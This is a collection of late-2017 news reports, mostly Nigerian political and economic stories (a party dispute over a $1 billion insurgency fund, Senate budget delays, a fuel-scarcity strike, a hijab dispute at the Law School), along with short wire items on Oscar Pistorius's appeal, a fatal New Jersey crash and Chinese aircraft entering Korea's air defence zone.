PDP is by this allegation accusing their governors of disloyalty or suggesting that they were bewitched into supporting the decision. It is that ridiculous.However, we can understand why it is easy for PDP to arrive at its ludicrous allegation. A similar approval in excess of $2 billion was granted to the PDP government when they were in power. They knew what they did with the money. It is a classic case of a serial killer, who sees even a table knife as a murder weapon.The PDP presided over a government that made it possible for money meant for weapons to be diverted into paying marabouts and all manner of political jobbers ahead of the 2015 election.The statement added: Therefore, the PDP thinks the same thing is about to happen. They have not realised that it is a new day and President Muhammadu Buhari will not play politics with money meant to protect the lives of innocent Nigerians or allow anyone to engage in such brigandage that Nigerians suffered under the PDP.Another reason that PDP has given for opposing the approval was that the Federal Government has claimed that Boko Haram has been technically defeated. The military authorities have done enough to explain the need for the money. We therefore find no need to repeat the arguments.It appears however that the PDP does not understand that winning the peace is as important as winning the war. There is, therefore, no contradiction in saying that Boko Haram is technically defeated and saying that more weapons and training are needed for our military and the military of neighbouring countries whose co-operation is necessary to finally rid our countries of the menace of Boko Haram.The APC said: We conclude by saying that we understand the pressure that the PDP is facing to justify its role as an opposition party, but they need to be reminded that opposition is not the same as opposing everything, including those things that are critical to national interest.We welcome PDP to play its part in ensuring that the money or any public money at all is used for the purpose for which it is intended. In this case, they can simply ensure that their 11 governors demand accountability for the money that they have joined in approving.But the PDP insisted that the withdrawal remained a ruse.A statement last night by the spokesman of the PDP, Kola Ologbondiyan, said no amount of finger-pointing by the APC could justify the fraudulent attempt by the Federal Government to withdraw $1billion from the ECA to finance partisan activities, adding that APCs arguments were diversionary and lame.The PDP also maintained that the claim by the APC that 11 PDP governors were part of the approval in a meeting superintended and eminently directed by Vice-President Yemi Osinbajo was merely begging the question. It further underpins the manipulative proclivities of the APC government, it said.The statement said: The truth remains that the APC government has been caught in the act and no amount of diversionary finger-pointing will detract from the fact that it tried to use the fight against insurgents as a ruse to secure the money, which they have arranged to spend on extraneous subheads, including partisan activities.It is a known fact that under this APC government, monies meant for insurgency related issues in the Northeast had been diverted and that the only reasons the culprits have not been prosecuted is that they enjoy the cover of APC government.The PDP said Nigerians were counting the exit day for the APC-led Federal Government and no amount of propaganda will save the ruling party from the doomsday.
The All Progressives Congress, APC, spokesperson, Bolaji Abdullahi, has dismissed a statement credited to him on the current fuel scarcity.Reports circulating online alleged that Abdullahi attributed the ongoing fuel scarcity experiencing across the country to President Muhammadu Buhari.Aide to Governor Ayodele Fayose, Lere Olayinka, in a tweet had allegedly quoted Abdullahi as saying there is fuel scarcity, because Buharis economy made Nigerians to buy too many cars this year.Reacting to the statement, the APC spokesperson said even as a satire, the statement sounds stupid.Abdullahi said, I have never made a single comment on fuel scarcity."That Lere Olayinka should show people where and when I said it and who I said it to.He is a bloody liar whose conscience is his chief accomplice.
Former Paralympic athlete Oscar Pistorius has filed papers to South Africas Constitutional Court, appealing against his 13-year jail term for shooting dead his girlfriend, a lawyer for the victims family said Tuesday.A court last month increased Pistoriuss sentence for murdering Reeva Steenkamp to 13 years in the latest stage of a long court battle since his trial in 2014.Pistorius shot dead Steenkamp in the early hours of Valentines Day in 2013 when he fired four times through the door of his bedroom toilet, later saying that he thought she was an intruder.We respect the law. It is Oscar Pistoriuss constitutional right to appeal his sentence. The law must take its course, Tania Koen, a lawyer for the Steenkamp family, told AFP by email.Pistorius was originally convicted of culpable homicide  the equivalent of manslaughter  but his conviction was upgraded to murder on appeal.Pistorius also tried to take the murder conviction to the Constitutional Court, South Africas highest tribunal, but it refused to hear the matter.The year before he killed Steenkamp, Pistorius became the first double-amputee to race at the Olympics when he competed at the London 2012 games.He suffered minor injuries this month in a brawl over the use of a public phone at the jail where he is held outside the capital, Pretoria.
The Nigerian military yesterday defended the Federal Governments plan to spend $1bn on fighting insurgency.Speaking during an appearance on Channels Televisions Sunrise Daily, the Director of Defence Information, Major General John Enenche, explained that among other things, the fund will help to phase out the militarys obsolete weapons.He explained that specifically, it will enable the militarys air, land and sea forces to purchase more sophisticated weapons and machinery.According to him, this would help in stepping up its fight against insurgency as the military until now used obsolete weapons.He said, the $1bn fund will enhance what we have been doing and it will enable the armed forces to come to the level that has been expected earlier than now, sooner than expected.Take for instance, you have 10 days to achieve an objective, I tell you, if you make your effort 10 times what you have, you are going to achieve that objective in one day.Weve been using the AK 47 to prosecute a special war, whereas the AK 47 is used to prosecute a conventional operation, he stated.Mr Enenche who came along with a sample of the AK 47 which he said the military currently uses, as well as another more sophisticated weapon, noted that the latter was what should be used to prosecute the war in the north east.The Military Director also noted that despite having substandard equipment, they (the military) had made reasonable progress with the fight against insurgency, stressing his point that if given more sophisticated weapons, it will do much more.If it were to be in Russia for instance, this is supposed to be the personal weapon that the soldier uses now to confront insurgency and terrorism, Yet the Armed forces of Nigeria has been prosecuting with the AK 47 of the second world war and we have achieved this far.It is a lot of money but when you look at the advantages of what we stand to gain, in the time that we need to eliminate terrorism, he stated.
Doctors conducted autopsies Monday on four newborns who all died in an 81-minute period in a hospital in Seoul last Saturday evening.

The newborns, all premature infants from nine days to just over a month old, died in the intensive care unit at Ewha Womans University Medical Center in Mok-dong.
Senate on Tuesday said it has encountered difficulties at the committee levels, hence, it would not go ahead to discuss the 2018 budget with a view to passing it into law before end of the year as earlier planned.Speaking under order 42, Senator Bala IbnNallah pointed that: though we suspended plenary two weeks ago with the expectation that various committees would have met, but as it is, nothing seems to have been done.Bala IbnNallah further observed that the template for budget preparation which was inherited by democratic government was that of military, noting that the template was obsolete.Like I said, the template which we inherited was a military model, hence, it would not give us what we want, he said.Barnabas Gemade explained that Nigerians were in high expectations, noting that it was not realistic for the Senate to go ahead.He said: there are galaxy of problems surrounding budget sitting at the Committee levels.Senator Lanre Tejuosho said there was improper coordination among the Executive arm, stressing that about five agencies of government wrote to his Committee that their Chief executives have travelled abroad.Senator Mathew Urhoride on his part, flattened the Federal government, saying that the executive was not serious.According to him, the executive was hoarding information on implementation of capital expenditure, thereby making it difficult for the legislature to know where to start from.This government is not serious as we in the chambers. Last week, the Minister of Finance, Mrs Kemi Adeosun told Nigerians that N750 billion capital has been released.In this case, how do we plot a graph that will extrapolate figures for us to determine the percentage of implementation and those to be rolled over. This is difficult for us now, he added.Senator Dino Melaye on his part, explained that the 2018 budget was garnished in deceit.He further maintained that so much money meant for the implementation of 2017 budget were still trapped in the Central Bank treasury.He suggested that the office of the Accountant General of the federation should be empowered, adding that Section 162 of the Constitution was clear that all monies must be paid into the consolidated revenue account.Dino further picked holes in the manner that the economy was ran, stating that funds were scattered all over, while government was borrowing money.Reacting, Senate President, Dr. Bukola Saraki expressed that it was time, the nation depart from rhetorics.He ruled that Committees should continue budget defense.
The Federal Government has accused a former Senate President, David Mark, of illegally acquiring his then official residence as his private property.In September this year, the government, through the Special Presidential Investigation Panel for the Recovery of Public Property, which is chaired by Chief Okoi Obono-Obla, gave the former Senate President a 21-day notice to quit the mansion.The notice to quit, however, asked Mark to show cause why the Federal Government should not enforce the recovery of the property for public good.But Mark had quickly filed a suit before the Federal High Court in Abuja to quash all steps taken by the panel to evict him and recover the house from him.The case has not been heard.The Senate Presidents official residence is sited on 1.6 hectares of land at 1 Musa Usman Street, (also known as No. 1 Chuba Okadigbo Street), Apo Legislative Quarters, Gudu, Abuja.According to title documents, the property comprises eight structures, made up of the main house, ADC/chief security details house, guest chalet, security/generator house, boys quarters, security post, driver/servants quarters and chapel.The eight structures are said to be properly spaced and linked with well-paved drive and walkways and further done with lawns.Mark, the senator, currently representing Benue South in the National Assembly, is accused of illegally acquiring the property with the approval of former President Goodluck Jonathan despite that such property was excluded from the monetisation policy of the Federal Government.Copies of correspondences and other documents, leading to the purchase and eventual handover of the property to Mark in April, 2011, showed that the serving senator purchased the property at a reserved price of N673,200,000.Meanwhile, in his letter, dated October 28, 2010, seeking the then President Jonathans approval for the sale of the property, the then Minister of the Federal Capital Territory, Mr. Bala Mohammed, had indicated that the open market value of the property was N748,000,000.In addition, the then minister specifically stated that the Federal Executive Council had, in 2004, mandated the Federal Capital Territory Administration to sell all Federal Governments non-essential housing units in Abuja under specific rules and guidelines.Exempted from this arrangement are the official residences of the Senate President, the Deputy Senate President, the Speaker of the House of Representatives and the Deputy Speaker.He stated that the exemption was expressly contained in the Federal Government of Nigerias Official Gazette No. 82, Vol. 92 of August 15, 2005.In justifying the request for the then Presidents approval for the sale, the former minister noted that all the houses in Apo Legislative Quarters, with the exception of the official residences of the four principal officers of the National Assembly, had been sold to the legislators occupying them at the time or the general public, under the Federal Governments monetisation arrangement.The former minister however stated that sale of other houses in the Apo Legislative Quarters had altered the general security provision for the area and extension, the security of the leading principal officers of the National Assembly.The letter added, This lapse in the general security provision of the area led the National Assembly to unofficially rent residential accommodation for its leading principal officers in more secure areas within the city.It also stated that due to the security concerns, the four houses of the leading principal officers will no longer have the status of essential properties, hence the FCTA has made provision in the budget to construct residential accommodation for the leading principal officers of the National Assembly where the general security is befitting the status of the officers.The then minister had stated that the Senate Presidents residence had an open market value of N748,000,000; the Speakers N670,000,000; the Deputy Senate Presidents N458,000,000; and the Deputy Speakers N348,500,000.What appeared on the then ministers letter as Jonathans hand-written approval of the request dated November 15, 2010, read, Para 6 and 8 approved. Also see if this could be gazetted.N/B: Ensure that the new residences are ready early next year.By a letter, with reference number PRES/83/FCTA/18 and dated November 18, 2010, Jonathan conveyed his approval to the then ministers request for the sale of the Senate Presidents official residence.The letter, addressed to the FCT minister and titled, Re: Sale of Residential Houses Occupied by Leading Principal Officers of the National Assembly, was signed by the then Presidents Senior Special Assistant (Admin), Matt Aikhionbare.The letter read in part, I am directed to forward Reference A to you and to convey to you, Mr. Presidents approval of paragraphs 6 and 8 and further directive on page 2 in line with the earlier approval of 27/06/2010.But by a letter with reference number SPIP/INV/2017/VOL.1/17 and dated September 5, 2017, the Obono-Obla-led Special Presidential Investigation Panel for the Recovery of Public Property insisted that Mark acquired the national monument in clear breach of the monetisation policy of the Federal Government.The letter, signed by Obono-Obla and titled Investigation activities: Notice to recover public property in your care, and addressed to Mark, stated in part, The extant Monetisation Policy of the Federal Government, as enunciated and still being implemented, excludes all Principal Officers of the National Assembly and hence places the responsibility on the Federal Government to provide accommodation for them, same which you allegedly illegally appropriated.The letter asked Mark to take steps within the next 21 days to vacate the said property or show cause why the government of the Federal Republic of Nigeria should not enforce the recovery of the said property for public good.It added, You are further being notified pursuant to the Recovery Property (Special Provisions) Act, 1983, to complete and return within 30 days the attached Form B (Declaration of Assets Form) to the office of the undersigned.But Mark, through his lawyer, Ken Ikonne, filed the suit marked FHC/ABJ/CS/1037/2017 before the Federal High Court in Abuja, insisting that he legally acquired the property through a walk-in bid at the behest of the FCTA.He also contended that the recovery process initiated by the Federal Government was unconstitutional.The Attorney General of the Federation and Obono-Obla are joined as respondents to the suit.Among his prayers, Mark sought a declaration that the unilateral declaration by the defendants that the plaintiffs acquisition of the property is illegal and the order compelling the plaintiff to vacate the aforesaid property without affording him a hearing, amounted to a denial of his fundamental rights to fair hearing and property, and are therefore unconstitutional and void.He also sought a declaration that the service by the defendants on the plaintiff of the Notice to Declare His Assets (Form A) and the Assets Declaration Form B is unconstitutional and thus void.He sought an order quashing the defendants declaration of his acquisition of the aforesaid property as illegal, and another order quashing the order of the defendants compelling him to vacate the aforesaid property.He also applied for an order of the court quashing the Notice to Declare Assets Form A and the Assets Declaration Form B served on him and a perpetual injunction restraining the defendants, jointly and severally or through any agent from evicting the plaintiff from the said property, or recovering same from him.Mark said he was occupying the said property in 2010 when the FCTA, citing security concerns, decided to construct new official residences for the leadership of the National Assembly, including the President of the Senate, in a more secure and conducive environment.According to the former Senate President, the FCTA had insisted that the reserve price of N673,200,000.00 reflected the open market value of the property.He added that the valuers of the FCT that inspected and carried out a valuation of the property had put the replacement cost of the property at N492,700,000.He said he duly accepted the offer on April 21, 2011 and paid the agreed purchase price to the Ad hoc Committee on Sale of FGN Houses on April 27, 2011.He said the house now served as his family home in Abuja.But he said surprisingly he was on October 9, 2017 served a letter of investigation activities dated September 5, 2017, by the Okono-Obla-led panel.He stated in his suit that, the defendants (AGF and Obono-Obla) unilaterally, and without affording me any hearing at all, and without any order of any court, declared my acquisition of the said property illegal, and ordered me to vacate the said property failing which the defendants would enforce the recovery of the property against me.
24 hours after it called its men out on industrial action, the Petroleum and Natural Gas Senior Staff Association of Nigeria (PENGASSAN)...

24 hours after it called its men out on industrial action, the Petroleum and Natural Gas Senior Staff Association of Nigeria (PENGASSAN), yesterday announced the suspension of its indefinite strike.The association embarked upon the nationwide strike to protest what it described as unfair labour practices by the management of NECONDE Energy Ltd (of Nestoil Group of companies).It accused the company of entrenching unfriendly labour practices in violation of the labour laws and failing to remit taxes and pensions deducted from workers to governmentAccording to PEGASSAN, NECONDE allegedly boasted that no government official can call it to order, adding that workers are treated as slaves and dismissed for joining unions.But, PENGASSANs National Public Relations Officer (PRO) Fortune Obi announced the suspension of the strike less than 24 hours after it was declared.Obi explained that the union took the decision after the intervention by Director of State Security, the Minister of Labour & Productivity and the Minister of State for Petroleum Resources.He said that the management of NECONDE, represented by the Managing Director and Legal consultants offered a letter of recall to the sacked employees and also agreed to allow unionism in the company.Obi said the Minister of Labour and the union have also agreed to resolve anti-union posture by other indigenous companies and marginal field operators.An appraisal meeting was fixed for the second week of January, next year.AFTER a two-week relief, the crippling fuel scarcity resurfaced in Lagos and in many city centres yesterday. It worsened the situation in some parts of the country where the scarcity had lingered for two weeks.The latest crisis was triggered by the nationwide strike embarked upon by members of the Petroleum and Natural Gas Senior Staff Association of Nigeria (PENGASSAN).All efforts by relevant government agencies to stop the strike, scheduled to commence after 11:59 pm Sunday night, failed to yield the desired result.The oil workers peace meeting with the Minister of State for Petroleum Resources, Ibe Kachikwu, ended in a deadlock at the weekend. They reconvened yesterday in Abuja.One of the agencies involved in the negotiations  the Department State Security (DSS)  invited the oil workers representatives for consultation.The Nigerian National Petroleum Corporation (NNPC) cautioned Nigerians against panic buying and warned marketers against hoarding of the products. It mandated the Department of Petroleum Resouses (DPR) to raise monitoring officials to enforce compliance with distribution rules.Ibe Kachikwu, the Minister of State for Petroleum Resources, who assured that queues at filling stations would disappear in a couple of days, attributed the scarcity to a shortfall in the supply of oil products.Kachikwus efforts to broker a peace deal, however, fell through, resulting to the industrial action in the wee hours of yesterday.The Labour Minister, Dr. Chris Ngige, pleaded with the union to shelve the strike, reminding PENGASSAN of the need to save Nigerians from further hardship during the Christmas and New Year.Lagos residents yesterday woke to long queues at the few stations that had petrol to dispense. They sold above the official pump price of N145 per litre.Petrol hawkers were sighted on the highways selling 10 litres of petrol at N300 as against the official pump price of N145 per litre.Some motorists, who spoke to the News Agency of Nigeria (NAN), narrated how they spent hours on queues. They alleged that some filling stations were exploiting the situation to increase price of the product.NAN said that some filling stations on Berger-Iyana-Oworo Expressway, Ikorodu, Bariga and Lagos-Badagry Expressway, among others, sold petrol at between N160 and N170 per litre.At NIPCO Filling Station in Ikorodu, a banker, Mr. Anthony Sunday, said there was no justification for the current fuel scarcity as the government had assured citizens of abundant fuel supply during the yuletide.He said that marketers were taking advantage of PENGASSANs planned strike and the festive period to exploit citizens.A trader, Mrs. Alice Jubril, condemned the management the Conoil filling station at Alapere for selling above the pump price of N145 per litre.She accused the marketers of deliberately creating artificial scarcity to extort members of the public.Mrs. Jubril said: I bought a litre of petrol at N160 against the regulated price of N145 per litre. This is an indication of exploitation.Another motorist, Mrs. Ifeoma Vincent, urged the regulatory agencies to intervene to stop arbitrary increase in pump price.She said that the development had compelled commercial drivers to increase their fares, adding that the drivers often cited difficulties in getting fuel as the main reason.Mrs. Ifeoma said: For instance, the fare for a trip from Ikorodu to Ojuelegba which used to be N250 is now N700, while a journey to Ketu which formerly was N100 is now N300.Apart from the hike in transport fares, the fuel situation also affected the traffic situation as parts of the roads have now been taken over by vehicles queuing for fuel.The Nigerian National Petroleum Corporation (NNPC) assured motorists and other petroleum products consumers not to engage in panic buying.In a statement yesterday by its spokesman Ndu Ughamadu, the NNPC said: The NNPC wishes to state that relevant government agencies are in consultation with industry unions to arrive at an amicable resolution of issues over which there are threats of industrial action.NNPC warns marketers not to hoard products as law enforcement agencies, working with industry regulators, have been detailed to take appropriate measures against any defaulter. The Corporation further assures that there are enough petroleum products to keep the nation wet. DPR warms against panic buying, stockpiling of fuel.The DPR, which cautioned against panic buying, dispatched its men to monitor distribution of products and sales at the retail outlets.In Anambra, it warned members of the public against storing petroleum product in their homes to avoid fire outbreak.The Controller of DPR in charge of Anambra, Ebonyi and Enugu states, Okechukwu Okoro, told NAN in Awka, the Anambra State capital, that the department will ensure the enforcement of appropriate pricing and that no marketer hoarded the product.Okoro, who urged motorists and other customers to desist from panic buying, instead they should not buy more than the quantity that need.He said: There is enough fuel in the country; there is no need for panic buying or storing of fuel in private houses; the consequences of such practice can be deadly. The DPR is going out every day to ensure that there is full compliance to price and supply.Warning marketers not to hold Nigerians hostage by increasing pump price illegally, he noted that the Federal Government has not announced any change in pump price.He said there would be continuous clamp down on erring marketers, adding that customers in the zone would be protected from the antics of such marketers.Okoro said: We are not aware of some of the excuses they give for increasing pump prices, because when we ask them to provide evidence, they are not able to do so.We will not relent in enforcing compliance, the challenge is that soon after we leave their filling stations, they return to their nefarious activities, the assurance we are giving is that customers in the zone shall be protected.The Department of Petroleum Resources (DPR) wielded the bid stick against erring stations in Akwa Ibom, Borno and Ogun States.It sealed 16 filling stations in Akwa Ibom State for selling petrol above N145 per litre pump price and 12 in Borno for offences ranging from hoarding, diversion and over-pricing of product. Two stations were sanctioned in Abeokuta for hoarding and under-dispensing of product.According to the DPR Operations Controller in Akwa Ibom, Tamunoiminabo Sundaye, some of the affected stations had paid the penalty and had signed undertaking with the department to be of good behaviour.He said the department had begun close monitoring of stations to ensure that they reversed their pumps to dispense petrol at N145 per litre.He also said the agency had engaged private depot owners to ensure that they sold the product at ex-depot price to marketers.The controller deplored the conduct of independent marketers, who he accused of taking advantage of recent upset in the oil market to exploit the public by selling petrol above regulated rate.Alleging that the marketers were creating artificial scarcity in the state, Sundaye said: I will not really say that there is much scarcity in Akwa Ibom because there is no queue.What happened is that our brothers and sisters took opportunity of what happened in Lagos and Abuja, which of course is normal now.Our people and their normal way of doing things, started selling above government approved pump price and we have sealed a number of filling stations over it.The DPR Monitoring and Surveillance team in Ogun State, led by Akinade Kasali, Head of Operations, Abeokuta Field Office, sealed World Oil at Ibara and a fuel pump at MAAN IPC, Ita-Eko.DPR officials and NSCDC operatives force attendants at MAAN IPC to dispense the product after it was discovered that 4,000 litres of petrol was being hoarded in the tank.Kasali told reporters that the DPR embarked on the inspection following a tip-off that some filling stations were hoarding the product.He expressed concern that filling stations were deliberately creating artificial fuel scarcity, urging members of the public to report illegal dealings of filling station operators to the DPR.Kasali said: We got a tip-off that some filling stations are hoarding fuel and this is against the government policy. Once the product is there you ought to be selling.Some of them just want to create artificial scarcity and that is not good. This government has zero tolerance for such acts of indiscipline.Those filling stations that have been sealed ran foul of the law because some of them are under-dispensing which means they are cheating the public.For every 10 litres that people buy, they are being short changed by one litre. Some of them have fuel and they are not selling.This is denying the public what the country is known to have worldwide. For those stations that are sealed, they will not be opened until they are fined and penalised, Once they fix their pump, we will unseal them.I want to implore the public to give us information. We are not spirits; we cant be everywhere at the same time. They should give us information about any filling stations selling above pump price.Come to our office at No. 11 Oba Karunwi Street, Ibara Housing Estate, Abeokuta and report. What we are doing is in the interest of the public.
The umbrella body of Nigerian Muslims, the Nigerian Supreme Council for Islamic Affairs (NSCIA), has vowed to embark on a nationwide protest against the Nigerian Law School over its law against the use of hijab.In a statement issued on Tuesday morning, the Deputy Secretary General of the organisation, Salisu Shehu, a professor, accused the Nigerian Law School of lawlessness and Islamophobia.The group threatened nationwide protest and a fierce legal action should the law school fail to rescind its decision of not calling the affected graduate, Firdaus Amosa, to the bar.There is no doubt that Abdulsalam Firdaos Amosa has been victimized, humiliated and traumatised by the Nigerian Law School, the Body of Benchers and the Council for Legal Education on account of her faith, the statement said.She has been denied of rightfully joining her professional colleagues just because of her religion. She has been exposed to ridicule and opprobrium by standing for her religious rights. It begs the question that she is not the only Muslim lady among those concerned as no one will stand for her when she appears before her Creator to defend the correctness and otherwise of her actions. We reiterate that she has not violated any law.The NSCIA demands that the Federal Government, through the Ministry of Justice, call the Council for Legal Education and the Nigerian Law School to order so that they will not stoke religious crisis in the country.Our Council patiently waits for what the Ministry will do as it puts other options on the table including litigation and nation-wide protests.Those who think they can ride roughshod on the rights of Muslims just because their co-Christian colonialists did it successfully will have to wake up and realise that Muslims are equal stakeholders in this country.Our Nigerian Law School would rather be glued to the archaic tradition of the colonial past being jettisoned by the British themselves and punish a second upper graduate for wearing a headscarf that the Nigerian Constitution guarantees her than toe the path of rationality. Who legislated on professional attires that we cannot question when such attires are inconsistent with our values?There is no doubt that Abdulsalam Firdaos Amosa has been victimized, humiliated and traumatised by the Nigerian Law School, the Body of Benchers and the Council for Legal Education on account of her faith. She has been denied of rightfully joining her professional colleagues just because of her religion. She has been exposed to ridicule and opprobrium by standing for her religious rights. It begs the question that she is not the only Muslim lady among those concerned as no one will stand for her when she appears before her Creator to defend the correctness and otherwise of her actions. We reiterate that she has not violated any law.The NSCIA demands that the Federal Government, through the Ministry of Justice, call the Council for Legal Education and the Nigerian Law School to order so that they will not stoke religious crisis in the country. Our Council patiently waits for what the Ministry will do as it puts other options on the table including litigation and nation-wide protests.Those who think they can ride roughshod on the rights of Muslims just because their co-Christian colonialists did it successfully will have to wake up and realise that Muslims are equal stakeholders in this country.That the United States of America allows even female military personnel to use hijab and male Muslims to grow their beard as part of their religious rights is worthy of note. If Muslim female police officers in Britain that so desire use hijab without let or hindrance, what is the problem in Nigeria? What is wrong with the Islamophobic Nigerians who assume that Muslims must abandon their religion to co-exist with them in the Nigerian space? How does wearing hijab infringe on anybodys right in Nigeria? Enough is enough of this chronic hatred and bigoted intolerance! Yours is your religion and ours is ours.
A staff of China Construction Company of Nigeria Sunday night , attempted to commit suicide, after he jumped into the lagoon around Ebut...

A staff of China Construction Company of Nigeria Sunday night , attempted to commit suicide, after he jumped into the lagoon around Ebute-Ero jetty ,Lagos. But for the prompt intervention of the police and local divers, the man identified as Folarin Odukoya would have been counted among other Lagosians that committed suicide through such way. After he was revived , Odukoya blamed his action over his employers refusal to issue him a certificate he said would have enhanced his career.Information revealed that a policeman , Sergeant Bankole Adekoya of 23 Police Mobile Force who sighted Odukoya around the lagoon, at about 10pm, suspected he had a sinister motive. He reportedly informed the Divisional Police Officer in-charge of Ebute Ero , Sina Olunlade , a Superintendent of Police , SP who visited the scene with local divers. Spokesman for the Lagos State Police Command, Chike Oti, who confirmed the Incident, said that  on sighting the police team, the fellow jumped into the lagoon near Ebute Ero Jetty. The divers went after him, rescued and handed him over to the police. The Commissioner of Police, Lagos State Command, CP. Edgal Imohimi has ordered the prosecution of Folarin , for attempted suicide.The CP who had earlier charged all police officers in Lagos to be on the look out for suicidal men and women and to question anybody seen loitering around bridges, river banks, swamps and lagoons with a view to ascertaining their mission there, commended Sgt. Bankole for his vigilance.
The Presidents and the Vice-Presidents pay is low, Vice-President Yemi Osinbajo said yesterday.

He criticised the private sector for not respecting the national minimum wage law, which puts the lowest pay at N18,000.Speaking at the end-of-year seminar of the State House Press Corps at the old Banquet Hall of the Presidential Villa in Abuja, Prof. Osinbajo said he earns about N1.5m as Vice-President; President Buhari earns about N1.75 million.To him, the pay is not commensurate with the offices they occupy.The vice president also expressed misgivings about the remuneration of journalists and lawyers, saying journalists case is unique because many media owners make big revenue but simply refuse to pay good wages.He recalled his brief encounters working with media houses as legal adviser and how in all the months he worked he was not paid despite the irregular hours he put in.Osinbajo spoke of entry into journalism as not rigorously regulated or enforced by professional bodies because untrained persons are allowed in.He added: I realised first of all that this (journalism) is not a profession from which one could make a decent living in the first place unless you find a really good way of doing so.But more importantly for me is that you are just on your own. Journalism as a profession is so wide open.There are a few reasons in my view why remuneration is poor.The first is that it is just simply cheating. There are owners of media that are just cheats. They just want to get something from nothing and that is not uncommon, it is a general malaise, it is not necessarily restricted to the media.It is also the same in the legal profession. There many lawyers if they tell you what they earn, you will certainly not want to be a lawyer.The private sector does not respect the minimum wage. Even if a minimum wage is set nationally, it is not necessarily respected by the private sector and this is something that should be factored in to the status of a company and whether a company is even complying with the requirements.The Vice-President urged journalists to brighten their prospects and future by always seeking ways of improving themselves and getting better job opportunities with attendant improved income.Nasarawa State Governor Tanko Al-Makura, represented by the Commissioner for Information, Mohammed Kwara, was the chairman of the ceremony.He said: It is important to note that a good retirement plan starts the very day you are employed, knowing that whatever has a beginning has an end; 35 or 60 mandatory years of service are certainly not eternity.It must also be stressed here that it is not too late to plan even where you have just few years to retire from service.The most important thing is that you have a plan either of money saved or of the job you intend to carry on after retirement. Put every other factor in place such as your age, strength and the mental capacity to carry on. he advised.He added It is important to state, therefore, that the uncertainty on payment of entitlements has continued to worry Nigerian workers, making them fear retirement.This has led to prospective retirees falsifying their age just to enable them stay put in the service.In this regard, a lot of corruption induced activities have continued to infiltrate the MDAs and the organised private sector responsible for managing pension, he said.Kwara listed 10 ways to prepare for retirement, including saving, knowing your retirement needs and contributing to an employers retirement savings plan.Others, according to him, are learning about employers pension plan, considering basic investment principles, not touching your retirement savings, asking employer to start a plan, think of creative ways to be self sustaining, find out about ones social security benefits, and asking questions.The guest lecturer and Chairman of Elumelu Foundation, Tony Elumelu, said retirement should not be synonymous with being tired or giving up as it should be a stepping stone.He advised working journalists to pursue their purposes with passion, stressing the need to increase capacity in readiness for the next phaseHe said: Entrepreneurship is not a function of age. Set your milestones and work towards accomplishing the milestone.Entrepreneurs are resilient; they persevere to succeed. You dont need to give up easily, it requires sacrifice, discipline.Others who presented goodwill messages were Minister of Information Lai Mohammed; Minister of Transportation Rotimi Amaechi and Special Adviser (Media & Publicity) to the President Femi Adesina.
The National Emergency Management Agency (NEMA) yesterday received 167 stranded Nigerians from Libya, bringing the number of Nigerians br...

The National Emergency Management Agency (NEMA) yesterday received 167 stranded Nigerians from Libya, bringing the number of Nigerians brought back to the country in the last four days to 532.The News Agency of Nigeria (NAN) reports that Boeing 737-800 aircraft, marked 5A-DMH, arrived at the Murtala Muhammed International Airport, Lagos at 7:47p.m.The returnees were brought back by the International Organisation for Migration (IOM) and the European Union (EU).They comprised of 21 women, 145 men and a child.NEMAs Director-General Mustapha Maihajja, who received the returnees confirmed that three of them had medical cases and were promptly given treatment by doctors and paramedics.Maihajja, who was represented by the Southwest Zonal Coordinator of NEMA, Suleiman Yakubu, said two of the returnees were now in stable condition, while the third person had been referred to hospital for further treatment.He advised the returnees to acquire vocational skills or further their education to contribute their quota to national development.Also on hand to receive the returnees were officials of Nigerian Immigration Service (NIS), National Agency for the Prohibition of Trafficking in Persons (NAPTIP), the Federal Airports Authority of Nigeria (FAAN) and the Police.
Peoples Democratic Party members are right now protesting at the House of Representatives over the defection of a member, Mr. Mr. Raphael Igbokwe, to the All Progressives Congress.Igbokwe, who is from Imo State, first came to the House in 2011.PDP members immediately walked out in protest after the Speaker, Mr. Yakubu Dogara, allowed the defection to stand.PDP members had argued that based on the recent decision of the Supreme Court, there was no division in the party.Imo State Governor, Mr. Rochas Okorocha, witnessed the defection of Igbokwe at the session.Igbokwe announced that he had since joined the APC in January when there was a leadership crisis in the PDP.
Two people were killed Monday when an SUV crashed into a utility pole in Shamong Township, according to police.

The crash took place just before noon at the intersection of Flyatt and Caranza roads, according to New Jersey State Police.

A 6abc news camera hovering over the scene showed the vehicle turned on its side and wrapped around the pole.

Further information, including the identities of those killed and the cause of the crash, were not available Monday evening.

Amanda Hoover can be reached at ahoover@njadvancemedia.com. Follow her on Twitter @amandahoovernj. Find NJ.com on Facebook.
A single-vehicle crash in Shamong Monday afternoon killed three people, according to police.

Police initially confirmed two fatalities after the crash Monday afternoon, and added a third to the count Tuesday morning, according to Lt. Ted Schafer, a spokesman for the New Jersey State Police.

The crash took place just before noon at the intersection of Flyatt and Caranza roads, police said.

Those killed, according to 6abc, included two adult men and one pregnant teenager. The station also reported that the vehicle was stolen, and fleeing police at the time of the crash.

Schafer said he could not confirm the ages, genders or identities of the three people Tuesday morning, or whether or not the vehicle was stolen.

The SUV, a 1999 green GMC Yukon, was the only vehicle involved in the crash. Video footage of the scene showed it wrapped around a utility pole.

An emergency dispatcher said on a scanner Monday afternoon that state police confirmed people were entrapped in the vehicle, and that it had caught fire. Atlantic City Electric was called to address any issues with the utility pole, and a nearby school was evacuated, according to reports on the scanner.

The cause of the crash remained under investigation Tuesday, Schafer said.

Amanda Hoover can be reached at ahoover@njadvancemedia.com. Follow her on Twitter @amandahoovernj. Find NJ.com on Facebook.
Diplomatic and military sources wondered why China would resort to coat-trailing that could be perceived as a threat so soon after President Moon Jae-in's state visit to Beijing.

The unexpected intrusion prompted the Air Force to scramble 10 F-15K and KF-16 fighter jets, while Japan deployed a score of F-15J fighter planes. Around 30 Korean, Japanese and Chinese fighter planes were in the air simultaneously around Ieo and Jeju islands and Japan's Tsushima Island for almost four hours.

Five Chinese military aircraft entered Korea's and Japan's air defense identification zones on Monday morning without warning, the Joint Chiefs of Staff said.

The Korean military detected unidentified aircraft approaching the KADIZ southwest of the submerged rocks of Ieo, which China wants to claim for itself, around 10 a.m. and scrambled F-15K and KF-16 fighter jets.

"We have confirmed that they are Chinese military planes through a hotline with our Chinese counterparts," the Joint Chiefs of Staff here said.

They were two H-6 bombers, two J-11 fighter jets and one Tu-154 reconnaissance plane. The H-6 is China's main strategic bomber. They entered airspace that overlaps with Korean and Japanese zones and buzzed about for almost four hours before turning back to China at around 2:00 p.m.

This is the second time this year that Chinese aircraft have strayed into the two zones. In January, 12 Chinese fighter planes entered the Korean zone, while eight of the aircraft straddled both zones to around 300 km northeast of Dokdo before heading back to China.

